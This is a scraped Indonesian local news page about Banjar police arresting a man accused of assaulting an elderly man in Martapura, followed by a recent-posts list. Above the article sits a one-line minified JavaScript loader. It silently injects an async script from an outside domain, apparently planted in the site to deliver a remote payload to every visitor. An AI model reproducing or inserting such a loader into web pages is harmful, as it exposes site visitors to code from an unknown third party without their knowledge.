(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Martapura

Penganiaya Kakek di Kelurahan Jawa Berhasil Dibekuk Polisi di Mataraman


KANALKALIMANTAN.COM, MARTAPURA – Seorang lelaki di Kecamatan Mataraman, Kabupaten Banjar, dibekuk jajaran Resmob Polres Banjar, akibata melakukan penganiayaan pada Senin (8/5/2023) lalu.

Peristiwa terjadi sekira pukul 20.00 Wita di sebuah rumah di Jalan Cempaka, Gang Flamboyan RT 06, Kelurahan Jawa, Kecamatan Martapura, Kabupaten Banjar. Tim Resmob menetapkan Zulkifli (45) sebagai pelaku penganiayaan Rahman, kakek berumur 63 tahun.

Kapolres Banjar AKBP M Ifan Hariyat Taufik melalui Kasi Humas Polres Banjar AKP H Suwarji mengatakan, kejadian ini dilaporkan seorang perempuan bernama Zulfa.

“Kejadian berawal ketika pelapor yakni Zulfa dihubungi melalui handphone oleh keluarga korban bahwa telah terjadi penganiayaan terhadap kakek Rahman,” ujar AKP H Suwarji, Senin (22/5/2023) siang.

Baca juga: Turun di 10 Cabor POPDA 2023, Kontingen Banjarbaru Berkekuatan 184 Orang

Mengetahui kabar itu, Zulfa pun langsung mendatangi rumah kakek Rahman dan mendapati kakek Ramhan sudah terlilit perban akibat luka.

“Luka terdapat di telinga sebelah kiri dan di bagian leher sebelah kiri,” sebutnya.

Melalui keterangan saksi didapati kakek Rahman sempat teriak meminta tolong saat  kejadian penganiayaan itu terjadi.

Saksi yang mendengar suara itu langsung memeriksa keadaan kakak Rahman dan membawanya ke RSUD Ratu Zalecha Martapura untuk mendapatkan perawatan.

“Atas kejadian itu lah pelapor merasa tidak terima dan melaporkannya ke Polres Banjar,” sambungnya.

Baca juga: 9 Pejabat di Pemkab Banjar Ikuti Pelantikan Susulan

Setelah melakukan penyelidikan akhirnya Unit Resmob Polres Banjar, dipimpin oleh Kanit Pidana Umum Polres Banjar Ipda Muh firman beserta petugas Polsek Mataraman berhasil menangkap Zulkifli.

“Pelaku berhasil dibekuk di sebuah rumah yang ada di Desa Tanah Abang, Kecamatan Mataraman, Kabupaten Banjar,” ungkapnya.

Saat ini pelaku sudah berada di tahanan Mapolres Banjar untuk memproses hukumannya. Atas perbuatannya juga pelaku diancam hukuman pidana penjara paling lama lima tahun sesuai dengan Pasal 351 KUHPidana. (Kanalkalimantan.com/wanda).

Reporter: wanda
Editor: cell


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.